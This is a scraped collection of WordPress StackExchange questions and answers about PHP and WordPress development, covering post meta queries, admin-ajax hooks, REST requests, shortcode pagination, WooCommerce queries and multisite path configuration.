<label for="<?php echo $showPost ?>"><?php _e('Show post on homepage') ?></label>
<br />
<select style="margin-bottom: 20px" name="<?php echo $showPost ?>" id="<?php echo $showPost ?>">
<option value="false" <?php echo get_post_meta($object->ID, $showPost, true) == 'false' ? '' : 'selected' ?>>No</option>
<option value="true" <?php echo get_post_meta($object->ID, $showPost, true) != 'false' ? 'selected' : '' ?>>Yes</option>
</select>
```
Save function (which also works fine)
```
if(!function_exists('theme_settings_save_post_meta_box')) {
function theme_settings_save_post_meta_box($post_id, $post) {
// Add a check if this account has permission to save, maybe?
.....
$data['show_post'] = 'theme_settings_post_show';
foreach($data as $item) {
if(isset($_POST[$item])) {
$value = $_POST[$item];
update_post_meta($post_id, $item, $value);
}
}
}
}
```
The field logic works just fine. This is the query I use to show the posts based on the field "theme\_settings\_post\_show":
```
//Get all posts which have to be shown on the homepage
if(!function_exists('getPosts')) {
function getPosts() {
//$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
//Query arguments
$queryArguments = array(
'posts_per_page' => -1,
'post_type' => 'post',
'meta_key' => 'theme_settings_post_show',
'meta_value' => 'true'
);
$postsQuery = new WP_Query($queryArguments);
if($postsQuery->have_posts()) {
return $postsQuery;
}
return false;
}
}
```
As you can expect, the field "theme\_settings\_post\_show" is not set for any post yet, so I'm not retrieving any post with my function "getPost". I have also tried filtering by meta\_value null, but that doesn't work.
So, my question is: How can I create a field which automatically has a default value for all posts? Or am I forced to create some sort of script which loops through all posts and set the data automatically? Or am I using a wrong method to add the fields to the post? | Try `meta_query` to get posts having `theme_settings_post_show == true` (for new posts) and `theme_settings_post_show` not set at all (for old posts):
```
<?php
$queryArguments = array(
'posts_per_page' => -1,
'post_type' => 'post',
'meta_query' => array(
'relation' => 'OR', // value is not set or true
array(
'key' => 'theme_settings_post_show',
'value' => '', // can be any value, since it does not exists
'compare' => 'NOT EXISTS',
),
array(
'key' => 'theme_settings_post_show',
'value' => true,
'compare' => '=',
),
),
);
``` |
291,297 | <p>So inside my plugin I have the following code. It gets a question from a custom_post. I'm processing it here so that further updates can be done by AJAX/JSON and the page only has to be configured for one type of data source.</p>
<pre><code>$observations = new WP_Query($args);
if ( $observations-> have_posts() ) :
$questionpost = $observations->posts[0];
$question = array (
'id' => $questionpost->ID,
'title' => $questionpost->post_title,
'name' => $questionpost->post_name,
'excerpt' => $questionpost->post_excerpt,
'content' => $questionpost->post_content,
'code' => get_post_meta( $questionpost->ID, 'code', true ),
'edit_link' => get_edit_post_link($questionpost->ID),
);
if ( has_post_thumbnail($questionpost->ID) ) {
$question['thumbnail'] = get_the_post_thumbnail( $questionpost->ID, 'full', array('class' => 'card-img-top'));
} else {
$question['thumbnail'] = get_template_directory_uri()."/img/no-image.png";
}
print_r($question);
}
</code></pre>
<p>It all works fine except for the get_edit_post_link - here is print_r dump:</p>
<pre><code>Array ( [id] => 208 [title] => Main ... pipework. [name] => nr-60 [excerpt] => [content] => The ... external. [code] => NR [edit_link] => [thumbnail] => http://.../img/no-image.png )
</code></pre>
<p><a href="https://codex.wordpress.org/Function_Reference/edit_post_link" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/edit_post_link</a> suggests we can pass an ID so I don't see why this is blank.</p>
| [
{
"answer_id": 291306,
"author": "Peter HvD",
"author_id": 134918,
"author_profile": "https://wordpress.stackexchange.com/users/134918",
"pm_score": 1,
"selected": false,
"text": "<p>This might be one of those times when certain functions work better as part of the loop. Although you're ... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291297",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/65939/"
] | So inside my plugin I have the following code. It gets a question from a custom\_post. I'm processing it here so that further updates can be done by AJAX/JSON and the page only has to be configured for one type of data source.
```
$observations = new WP_Query($args);
if ( $observations-> have_posts() ) :
$questionpost = $observations->posts[0];
$question = array (
'id' => $questionpost->ID,
'title' => $questionpost->post_title,
'name' => $questionpost->post_name,
'excerpt' => $questionpost->post_excerpt,
'content' => $questionpost->post_content,
'code' => get_post_meta( $questionpost->ID, 'code', true ),
'edit_link' => get_edit_post_link($questionpost->ID),
);
if ( has_post_thumbnail($questionpost->ID) ) {
$question['thumbnail'] = get_the_post_thumbnail( $questionpost->ID, 'full', array('class' => 'card-img-top'));
} else {
$question['thumbnail'] = get_template_directory_uri()."/img/no-image.png";
}
print_r($question);
}
```
It all works fine except for the get\_edit\_post\_link - here is print\_r dump:
```
Array ( [id] => 208 [title] => Main ... pipework. [name] => nr-60 [excerpt] => [content] => The ... external. [code] => NR [edit_link] => [thumbnail] => http://.../img/no-image.png )
```
<https://codex.wordpress.org/Function_Reference/edit_post_link> suggests we can pass an ID so I don't see why this is blank. | According to the `get_edit_post_link()` function [source](https://developer.wordpress.org/reference/functions/get_edit_post_link/) this can happen in following conditions:
* there is no such post;
* there is no such post type;
* you don't have enough permissions to edit the post;
* `_edit_link` was changed during post type registration.
The first two are not the case since the ID is available. The fourth is a bad practice: *not for general use — core developers [recommend](https://codex.wordpress.org/Function_Reference/register_post_type#Parameters) you don't use this when registering your own post type*.
In this case, the user doesn't have enough permissions. According to the OP's comment under the question, he had been logged out, which is the same sort of thing. |
291,301 | <p>I've been working on ajax lately. The tutorials you find on the net are all very similar and quite easy to implement.
But I always get a <strong>bad request 400</strong> on my <code>ajax-admin.php</code> file.</p>
<p>After a long and intensive search, I have now found out that's because of the time of integration.</p>
<p>If I use the <code>init</code> action hook to initialize script and <code>wp_localize_script</code>, everything works fine. So the code itself must be correct.</p>
<p><em>my-page-test-functions.php</em></p>
<pre><code>function ajax_login_init(){
wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery'));
wp_enqueue_script('ajax-login-script');
wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' => admin_url('admin-ajax.php'),'redirecturl' => 'REDIRECT_URL_HERE','loadingmessage' => __('Sending user info, please wait...')));
add_action('wp_ajax_nopriv_ajaxlogin','ajax_login');
}
if(!is_user_logged_in()){
add_action('init','ajax_login_init');
}
function ajax_login(){
//nonce-field is created on page
check_ajax_referer('ajax-login-nonce','security');
//CODE
die();
}
</code></pre>
<p>But if I use e.g. <code>wp_enqeue_scripts</code> action hook I always get the bad request.</p>
<pre><code>if(!is_user_logged_in()){
add_action('wp_enqueue_scripts','ajax_login_init');
}
</code></pre>
<p>The problem with this is:</p>
<p>I would like to have the functions in an extra php file and load them only if they are needed on a particular page. For this I need, for example <code>is_page()</code>.
But <code>is_page()</code> works at the earliest when I hook the function with the include into the <code>parse_query</code> action hook:</p>
<p><em>functions.php</em></p>
<pre><code>function sw18_page_specific_functions(){
if(is_page('page-test')){
include_once dirname(__FILE__).'/includes/my-page-test-functions.php';
}
}
add_action('parse_query','sw18_page_specific_functions');
</code></pre>
<p>So then functions hooked to <code>init</code> hook in <code>my-page-test-functions.php</code> file does not triggered, I suppose, because <code>init</code> comes before <code>parse_query</code>.</p>
<p><strong>Is there a best practices to organize this, so it works? Or how can I fix the <code>admin-ajax.php</code> bad request when using the <code>wp_enqeue_scripts</code> action hook?</strong></p>
| [
{
"answer_id": 291303,
"author": "swissspidy",
"author_id": 12404,
"author_profile": "https://wordpress.stackexchange.com/users/12404",
"pm_score": 5,
"selected": true,
"text": "<p>I think the only thing missing here is that you need to move <code>add_action('wp_ajax_nopriv_ajaxlogin','a... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291301",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/129895/"
] | I've been working on ajax lately. The tutorials you find on the net are all very similar and quite easy to implement.
But I always get a **bad request 400** on my `ajax-admin.php` file.
After a long and intensive search, I have now found out that's because of the time of integration.
If I use the `init` action hook to initialize script and `wp_localize_script`, everything works fine. So the code itself must be correct.
*my-page-test-functions.php*
```
function ajax_login_init(){
wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery'));
wp_enqueue_script('ajax-login-script');
wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' => admin_url('admin-ajax.php'),'redirecturl' => 'REDIRECT_URL_HERE','loadingmessage' => __('Sending user info, please wait...')));
add_action('wp_ajax_nopriv_ajaxlogin','ajax_login');
}
if(!is_user_logged_in()){
add_action('init','ajax_login_init');
}
function ajax_login(){
//nonce-field is created on page
check_ajax_referer('ajax-login-nonce','security');
//CODE
die();
}
```
But if I use e.g. `wp_enqeue_scripts` action hook I always get the bad request.
```
if(!is_user_logged_in()){
add_action('wp_enqueue_scripts','ajax_login_init');
}
```
The problem with this is:
I would like to have the functions in an extra php file and load them only if they are needed on a particular page. For this I need, for example `is_page()`.
But `is_page()` works at the earliest when I hook the function with the include into the `parse_query` action hook:
*functions.php*
```
function sw18_page_specific_functions(){
if(is_page('page-test')){
include_once dirname(__FILE__).'/includes/my-page-test-functions.php';
}
}
add_action('parse_query','sw18_page_specific_functions');
```
So then functions hooked to `init` hook in `my-page-test-functions.php` file does not triggered, I suppose, because `init` comes before `parse_query`.
**Is there a best practices to organize this, so it works? Or how can I fix the `admin-ajax.php` bad request when using the `wp_enqeue_scripts` action hook?** | I think the only thing missing here is that you need to move `add_action('wp_ajax_nopriv_ajaxlogin','ajax_login');` outside `ajax_login_init`.
That code registers your Ajax handler, but when you only run it on `wp_enqueue_scripts`, it's already too late and `wp_ajax_nopriv_` hooks are already run.
So, have you tried something like this:
```
function ajax_login_init(){
if ( ! is_user_logged_in() || ! is_page( 'page-test' ) ) {
return;
}
wp_register_script('ajax-login-script',get_stylesheet_directory_uri().'/js/ajax-login-script.js',array('jquery'));
wp_enqueue_script('ajax-login-script');
wp_localize_script('ajax-login-script','ajax_login_object',array('ajaxurl' => admin_url('admin-ajax.php'),'redirecturl' => 'REDIRECT_URL_HERE','loadingmessage' => __('Sending user info, please wait...')));
}
add_action( 'wp_enqueue_scripts','ajax_login_init' );
add_action( 'wp_ajax_nopriv_ajaxlogin','ajax_login' );
function ajax_login(){
//nonce-field is created on page
check_ajax_referer('ajax-login-nonce','security');
//CODE
die();
}
```
**Edit:**
Now it's more clear that you only want to load the JavaScript on that particular page. This means you need to put your `is_page()` inside `ajax_login_init()`. I've updated the code accordingly.
Now, why didn't your solution work?
The `is_page()` check meant that your functions file was only loaded on that specific page. `ajax_login_init()` gets called and your scripts enqueued. So far so good.
Now your script makes the ajax call. As mentioned in the comments, ajax calls are not aware of the current page you're on. There's a reason the file sits at `wp-admin/admin-ajax.php`. There's no `WP_Query` and thus `is_page()` does not work during an ajax request.
Since that does not work, `sw18_page_specific_functions()` won't do anything in an ajax context. This means your functions file is not loaded and your ajax handler does not exist.
That's why you need to always include that functions file and move that `is_page()` check inside `ajax_login_init()`.
So instead of `sw18_page_specific_functions() { … }` just run `include_once dirname(__FILE__).'/includes/my-page-test-functions.php';` directly. Without any `add_action( 'parse_query' )` call. |
291,307 | <p>This is simple posts result array.</p>
<pre><code>$query = new WP_Query( array( 'post_type' => 'post' ) );
$posts = $query->posts; // returns simple array of data
</code></pre>
<p>Is there a way to get the results from wp-json/wp/v2/posts/?_embed without making extra request to server to pull json and then decode to php array?</p>
<p>Looking for something like that:</p>
<pre><code>$posts = $query->rest_posts(); // for example ??
</code></pre>
| [
{
"answer_id": 291338,
"author": "Janiis",
"author_id": 43543,
"author_profile": "https://wordpress.stackexchange.com/users/43543",
"pm_score": 0,
"selected": false,
"text": "<p>After digging into source code ended up with this solution. Works for me, might be useful to others as well.</... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291307",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/43543/"
] | This is simple posts result array.
```
$query = new WP_Query( array( 'post_type' => 'post' ) );
$posts = $query->posts; // returns simple array of data
```
Is there a way to get the results from wp-json/wp/v2/posts/?\_embed without making extra request to server to pull json and then decode to php array?
Looking for something like that:
```
$posts = $query->rest_posts(); // for example ??
``` | I think we can simplify it with:
```
$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );
$response = rest_do_request( $request );
$data = rest_get_server()->response_to_data( $response, true );
```
by using [`rest_do_request()`](https://developer.wordpress.org/reference/functions/rest_do_request/). |
291,329 | <p>I'm working on a query to show related items op a CPT by the term assigned to the current post.</p>
<p>I already have the code to complete the query but don't get it why my initial code returns a NULL</p>
<p>To get the term assigned to the post I'm using this code </p>
<pre><code>$terms = get_the_terms( $post->ID, 'taxonomy_name' );
</code></pre>
<p>If I do a var_dump of the <code>$terms</code> I get this in return</p>
<pre><code>array(1) { [0]=> object(WP_Term)#1423 (10) { ["term_id"]=> int(5) ["name"]=>
string(6) "Bilbao" ["slug"]=> string(6) "bilbao" ["term_group"]=> int(0)
["term_taxonomy_id"]=> int(5) ["taxonomy"]=> string(15) "taxonomy_name"
["description"]=> string(0) "" ["parent"]=> int(0) ["count"]=> int(2)
["filter"]=> string(3) "raw" } }
</code></pre>
<p>To use the slug in my wp_query I thought I could use <code>$terms->slug</code>. However this returns a NULL.</p>
<p>After doing a search I found that this adjustment solved the issue <code>foreach ( $terms as $term )</code> and then <code>$term->slug</code></p>
<p>I only don't understand why I should use the for each part and can't use the string of the <code>$terms</code> in my query. Can someone explain me that?</p>
| [
{
"answer_id": 291338,
"author": "Janiis",
"author_id": 43543,
"author_profile": "https://wordpress.stackexchange.com/users/43543",
"pm_score": 0,
"selected": false,
"text": "<p>After digging into source code ended up with this solution. Works for me, might be useful to others as well.</... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291329",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/28103/"
] | I'm working on a query to show related items op a CPT by the term assigned to the current post.
I already have the code to complete the query but don't get it why my initial code returns a NULL
To get the term assigned to the post I'm using this code
```
$terms = get_the_terms( $post->ID, 'taxonomy_name' );
```
If I do a var\_dump of the `$terms` I get this in return
```
array(1) { [0]=> object(WP_Term)#1423 (10) { ["term_id"]=> int(5) ["name"]=>
string(6) "Bilbao" ["slug"]=> string(6) "bilbao" ["term_group"]=> int(0)
["term_taxonomy_id"]=> int(5) ["taxonomy"]=> string(15) "taxonomy_name"
["description"]=> string(0) "" ["parent"]=> int(0) ["count"]=> int(2)
["filter"]=> string(3) "raw" } }
```
To use the slug in my wp\_query I thought I could use `$terms->slug`. However this returns a NULL.
After doing a search I found that this adjustment solved the issue `foreach ( $terms as $term )` and then `$term->slug`
I only don't understand why I should use the for each part and can't use the string of the `$terms` in my query. Can someone explain me that? | I think we can simplify it with:
```
$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );
$response = rest_do_request( $request );
$data = rest_get_server()->response_to_data( $response, true );
```
by using [`rest_do_request()`](https://developer.wordpress.org/reference/functions/rest_do_request/). |
291,335 | <p>I have some shortcode that I am using. The shortcode itself is working. The shortcode has pagination because it's cycling through a picture gallery.</p>
<p>The pagination itself works, but when it advances, it also advances the pagination for other picture galleries that are using the same shortcode.</p>
<p>My question is, how can I have the same shortcode, but only advance that specific gallery when I use the pagination, instead of advancing all the galleries using that shortcode? For example, if I click on page 2 for gallery 2017, gallery 2016 stays on page 1.</p>
<p>The shortcode I am using on the page looks like: <code>[halloffame rml_folder="16"]</code> and <code>[halloffame rml_folder="14"]</code></p>
<p>The actual shortcode in my functions file looks like:</p>
<pre><code>function picture_gallery($atts){
extract(shortcode_atts(array(
'rml_folder' => 1
), $atts));
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
query_posts("post_status=inherit&post_type=attachment&rml_folder=".$rml_folder."&orderby=title&order=asc&posts_per_page=12&paged=".$paged);
if ( have_posts() ) :
$return_string .= '<div id="album">';
while ( have_posts() ) : the_post();
$return_string .= '<div class="gallery">';
$image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium');
$return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>';
$return_string .= '</div>';
endwhile;
$return_string .= '</div>';
endif;
$return_string .= '<div id="pagi">';
$return_string .= '<div class="wrap">';
$args = array(
'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'),
'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>')
);
$return_string .= paginate_links($args);
$return_string .= '</div>';
$return_string .= '</div>';
global $wp_query;
$current_page = get_query_var( 'paged' );
$pages = $wp_query->max_num_pages;
$return_string .= '<p align="center">(Page: '.$current_page.' of '.$pages.')</p>';
wp_reset_query();
return $return_string;
}
function register_shortcodes(){
add_shortcode('halloffame', 'picture_gallery');
}
add_action( 'init', 'register_shortcodes');
</code></pre>
<p>I'm definitely not tied to this code, if there is a better way to do this, please don't hesitate!</p>
<p>Any ideas?</p>
<p>** UPDATE **
I have updated my shortcode to use <code>WP_Query</code> instead of <code>query_posts</code>, my code is similar, but now looks like:</p>
<pre><code>function picture_gallery($atts){
extract(shortcode_atts(array(
'rml_folder' => 1
), $atts));
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$picture_gallery = new WP_Query(array(
'post_status' => 'inherit',
'post_type' => 'attachment',
'rml_folder' => $rml_folder,
'orderby' => 'title',
'order' => 'asc',
'posts_per_page' => 12,
'paged' => $paged
));
if ( $picture_gallery->have_posts() ) :
$return_string .= '<div id="album">';
while ( $picture_gallery->have_posts() ) : $picture_gallery->the_post();
$return_string .= '<div class="gallery">';
$image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium');
$return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>';
$return_string .= '</div>';
endwhile;
$return_string .= '</div>';
endif;
$return_string .= '<div id="pagi">';
$return_string .= '<div class="wrap">';
$return_string .= paginate_links(array(
'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'),
'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>'),
'total' => $picture_gallery->max_num_pages
));
$return_string .= '</div>';
$return_string .= '</div>';
$current = get_query_var( 'paged' );
$total = $picture_gallery->max_num_pages;
$return_string .= '<p align="center">(Page: '.$current.' of '.$total.')</p>';
return $return_string;
wp_reset_query();
}
function register_shortcodes(){
add_shortcode('halloffame', 'picture_gallery');
}
add_action( 'init', 'register_shortcodes');
</code></pre>
<p>Now, I'm back to my original problem, which is the pagination for my shortcode advances all multiple queries on the same page...still looking into that.</p>
<p>Thanks,<br />
Josh</p>
| [
{
"answer_id": 291338,
"author": "Janiis",
"author_id": 43543,
"author_profile": "https://wordpress.stackexchange.com/users/43543",
"pm_score": 0,
"selected": false,
"text": "<p>After digging into source code ended up with this solution. Works for me, might be useful to others as well.</... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291335",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9820/"
] | I have some shortcode that I am using. The shortcode itself is working. The shortcode has pagination because it's cycling through a picture gallery.
The pagination itself works, but when it advances, it also advances the pagination for other picture galleries that are using the same shortcode.
My question is, how can I have the same shortcode, but only advance that specific gallery when I use the pagination, instead of advancing all the galleries using that shortcode? For example, if I click on page 2 for gallery 2017, gallery 2016 stays on page 1.
The shortcode I am using on the page looks like: `[halloffame rml_folder="16"]` and `[halloffame rml_folder="14"]`
The actual shortcode in my functions file looks like:
```
function picture_gallery($atts){
extract(shortcode_atts(array(
'rml_folder' => 1
), $atts));
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
query_posts("post_status=inherit&post_type=attachment&rml_folder=".$rml_folder."&orderby=title&order=asc&posts_per_page=12&paged=".$paged);
if ( have_posts() ) :
$return_string .= '<div id="album">';
while ( have_posts() ) : the_post();
$return_string .= '<div class="gallery">';
$image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium');
$return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>';
$return_string .= '</div>';
endwhile;
$return_string .= '</div>';
endif;
$return_string .= '<div id="pagi">';
$return_string .= '<div class="wrap">';
$args = array(
'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'),
'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>')
);
$return_string .= paginate_links($args);
$return_string .= '</div>';
$return_string .= '</div>';
global $wp_query;
$current_page = get_query_var( 'paged' );
$pages = $wp_query->max_num_pages;
$return_string .= '<p align="center">(Page: '.$current_page.' of '.$pages.')</p>';
wp_reset_query();
return $return_string;
}
function register_shortcodes(){
add_shortcode('halloffame', 'picture_gallery');
}
add_action( 'init', 'register_shortcodes');
```
I'm definitely not tied to this code, if there is a better way to do this, please don't hesitate!
Any ideas?
\*\* UPDATE \*\*
I have updated my shortcode to use `WP_Query` instead of `query_posts`, my code is similar, but now looks like:
```
function picture_gallery($atts){
extract(shortcode_atts(array(
'rml_folder' => 1
), $atts));
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$picture_gallery = new WP_Query(array(
'post_status' => 'inherit',
'post_type' => 'attachment',
'rml_folder' => $rml_folder,
'orderby' => 'title',
'order' => 'asc',
'posts_per_page' => 12,
'paged' => $paged
));
if ( $picture_gallery->have_posts() ) :
$return_string .= '<div id="album">';
while ( $picture_gallery->have_posts() ) : $picture_gallery->the_post();
$return_string .= '<div class="gallery">';
$image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium');
$return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>';
$return_string .= '</div>';
endwhile;
$return_string .= '</div>';
endif;
$return_string .= '<div id="pagi">';
$return_string .= '<div class="wrap">';
$return_string .= paginate_links(array(
'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'),
'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>'),
'total' => $picture_gallery->max_num_pages
));
$return_string .= '</div>';
$return_string .= '</div>';
$current = get_query_var( 'paged' );
$total = $picture_gallery->max_num_pages;
$return_string .= '<p align="center">(Page: '.$current.' of '.$total.')</p>';
return $return_string;
wp_reset_query();
}
function register_shortcodes(){
add_shortcode('halloffame', 'picture_gallery');
}
add_action( 'init', 'register_shortcodes');
```
Now, I'm back to my original problem, which is the pagination for my shortcode advances all multiple queries on the same page...still looking into that.
Thanks,
Josh | I think we can simplify it with:
```
$request = new WP_REST_Request( 'GET', '/wp/v2/posts' );
$response = rest_do_request( $request );
$data = rest_get_server()->response_to_data( $response, true );
```
by using [`rest_do_request()`](https://developer.wordpress.org/reference/functions/rest_do_request/). |
291,374 | <p>I need to get product ID from an array of custom field, I have this code to find all product with the same custom field, after deleting all duplicate custom field value, I need to retrieve product id for all custom field:</p>
<pre><code><?php
// Get all product cip by category
$product_args = array(
'post_type' => 'product',
'no_found_rows' => true, // Skips SQL to count rows - a speed improvement.
'post_status' => 'publish',
'ignore_sticky_posts' => true, // Don't move sticky posts to top - a speed improvement.
'posts_per_page' => -1,
'fields' => 'ids', // Only return product IDs
);
if (!empty($str_ArrayChild))
{
$product_args['tax_query'] = array(
array(
'taxonomy' => 'product_cat',
'field' => 'id',
'terms' => $str_ArrayChild,
'operator' => 'IN',
));
}
$products = get_posts($product_args);
// Search CIP by product ID
foreach ( $products as $id )
{
$cip = $product_obj['product_cip']=get_post_meta($id,'product_cip');
//echo 'Cip = '.$cip[0].', ';
$arrayCip[] = $cip[0];
}
echo '<b>TotalNumberOfCIP = '.count($arrayCip).'</b>';
// Remove same cip
$result = array_unique($arrayCip);
//print_r($result);
echo '<b>TotalNumberOfUniqueCIP = '.count($result).'</b>';
// trace Unique Cip list
/*foreach ($arrayCip as $v)
{
echo $v;
}
</code></pre>
<p>Here I need to find all ID's of <code>$arrayCip</code> (customfield named <code>product_cip</code>)</p>
| [
{
"answer_id": 291394,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 2,
"selected": true,
"text": "<pre><code>$product = array(\n 'post_type' => 'product',\n 'post_status' => 'publish',\n ... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291374",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/114157/"
] | I need to get product ID from an array of custom field, I have this code to find all product with the same custom field, after deleting all duplicate custom field value, I need to retrieve product id for all custom field:
```
<?php
// Get all product cip by category
$product_args = array(
'post_type' => 'product',
'no_found_rows' => true, // Skips SQL to count rows - a speed improvement.
'post_status' => 'publish',
'ignore_sticky_posts' => true, // Don't move sticky posts to top - a speed improvement.
'posts_per_page' => -1,
'fields' => 'ids', // Only return product IDs
);
if (!empty($str_ArrayChild))
{
$product_args['tax_query'] = array(
array(
'taxonomy' => 'product_cat',
'field' => 'id',
'terms' => $str_ArrayChild,
'operator' => 'IN',
));
}
$products = get_posts($product_args);
// Search CIP by product ID
foreach ( $products as $id )
{
$cip = $product_obj['product_cip']=get_post_meta($id,'product_cip');
//echo 'Cip = '.$cip[0].', ';
$arrayCip[] = $cip[0];
}
echo '<b>TotalNumberOfCIP = '.count($arrayCip).'</b>';
// Remove same cip
$result = array_unique($arrayCip);
//print_r($result);
echo '<b>TotalNumberOfUniqueCIP = '.count($result).'</b>';
// trace Unique Cip list
/*foreach ($arrayCip as $v)
{
echo $v;
}
```
Here I need to find all ID's of `$arrayCip` (customfield named `product_cip`) | ```
$product = array(
'post_type' => 'product',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_query' => array(
array(
'key' => 'product_cip',
'value' => 'some value',
'compare' => '=',
)
),
'fields' => 'ids',
);
$product_post = get_posts($product);
echo count($product_post);
```
if you have get all products data
```
$products_array = array();
foreach ($product_post as $v){
$_product = wc_get_product($v);
echo $_product->get_name().',';
$products_array[] = $_product;
}
``` |
291,402 | <p>By importing orders from Amazon in WooCommerce and creating WooCommerce orders programmatically, emails for new order or order status changing are sent.</p>
<p>Is it possible to prevent this email sending at least on new order creation?
I could use a condition on a custom field value, but what actions/filters I have to use?</p>
<p><strong>EDIT</strong></p>
<p>I'm testing <code>woocommerce_email_enabled_new_order</code>, <code>woocommerce_email_enabled_customer_completed_order</code> and <code>woocommerce_email_enabled_customer_processing_order</code>filters together with custom settings and for now it seems to work.</p>
| [
{
"answer_id": 291394,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 2,
"selected": true,
"text": "<pre><code>$product = array(\n 'post_type' => 'product',\n 'post_status' => 'publish',\n ... | 2018/01/18 | [
"https://wordpress.stackexchange.com/questions/291402",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111673/"
] | By importing orders from Amazon in WooCommerce and creating WooCommerce orders programmatically, emails for new order or order status changing are sent.
Is it possible to prevent this email sending at least on new order creation?
I could use a condition on a custom field value, but what actions/filters I have to use?
**EDIT**
I'm testing `woocommerce_email_enabled_new_order`, `woocommerce_email_enabled_customer_completed_order` and `woocommerce_email_enabled_customer_processing_order`filters together with custom settings and for now it seems to work. | ```
$product = array(
'post_type' => 'product',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_query' => array(
array(
'key' => 'product_cip',
'value' => 'some value',
'compare' => '=',
)
),
'fields' => 'ids',
);
$product_post = get_posts($product);
echo count($product_post);
```
if you have get all products data
```
$products_array = array();
foreach ($product_post as $v){
$_product = wc_get_product($v);
echo $_product->get_name().',';
$products_array[] = $_product;
}
``` |
291,407 | <p>Is it possible to install a multisite and have the <strong>first</strong> installation here:</p>
<pre><code>http://www.example.com/en/blog/
</code></pre>
<p>and then all <strong>other</strong> sites in these places?</p>
<pre><code>http://www.example.com/cn/blog/
http://www.example.com/ru/blog/
http://www.example.com/jp/blog/
</code></pre>
<p><em>Note that the first installation cannot be under <code>/en/</code> or just <code>/</code></em></p>
<p><strong>EDIT: See solution in my self-accepted answer below.</strong></p>
| [
{
"answer_id": 291408,
"author": "bueltge",
"author_id": 170,
"author_profile": "https://wordpress.stackexchange.com/users/170",
"pm_score": 1,
"selected": false,
"text": "<p>Yes, your requirements are possible. </p>\n\n<p>As addition, you can also use different domains for each language... | 2018/01/18 | [
"https://wordpress.stackexchange.com/questions/291407",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135100/"
] | Is it possible to install a multisite and have the **first** installation here:
```
http://www.example.com/en/blog/
```
and then all **other** sites in these places?
```
http://www.example.com/cn/blog/
http://www.example.com/ru/blog/
http://www.example.com/jp/blog/
```
*Note that the first installation cannot be under `/en/` or just `/`*
**EDIT: See solution in my self-accepted answer below.** | I got it working! The trick was writing a variable PATH\_CURRENT\_SITE definition after enabling and altering the additional site settings. Simple, and no other special htaccess rewrites or code needed.
Step 1) Original installation
-----------------------------
Under `https://www.example.com/en/blog/`
Step 2) Enable multisite
------------------------
<https://codex.wordpress.org/Create_A_Network>
Step 3) Add new sites
---------------------
In the network admin, start with just adding each additional site under another subdirectory such as `ru` in `https://www.example.com/en/blog/ru/`. Then, edit the URL after creating it to `https://www.example.com/ru/blog/`. Repeat this step for more sites.
Step 4) Edit `wp-config.php` file to define PATH\_CURRENT\_SITE dynamically
---------------------------------------------------------------------------
```
define('MULTISITE', true);
define('SUBDOMAIN_INSTALL', false);
define('DOMAIN_CURRENT_SITE', 'www.example.com');
// Previously just: define('PATH_CURRENT_SITE', '/en/blog/');
preg_match('/^(\/[a-zA-Z]+\/blog\/)/', $_SERVER['REQUEST_URI'], $matches);
if (!is_array($matches) || !isset($matches[1]) || !is_string($matches[1]))
{
die('INVALID DIRECTORY');
}
define('PATH_CURRENT_SITE', $matches[1]);
define('SITE_ID_CURRENT_SITE', 1);
define('BLOG_ID_CURRENT_SITE', 1);
```
STEP 5) Cleanup permalink
-------------------------
To prevent double `blog` slugs like `/en/blog/blog/post-name/`, go to the site settings (in the network admin) and edit the permalink settings. |
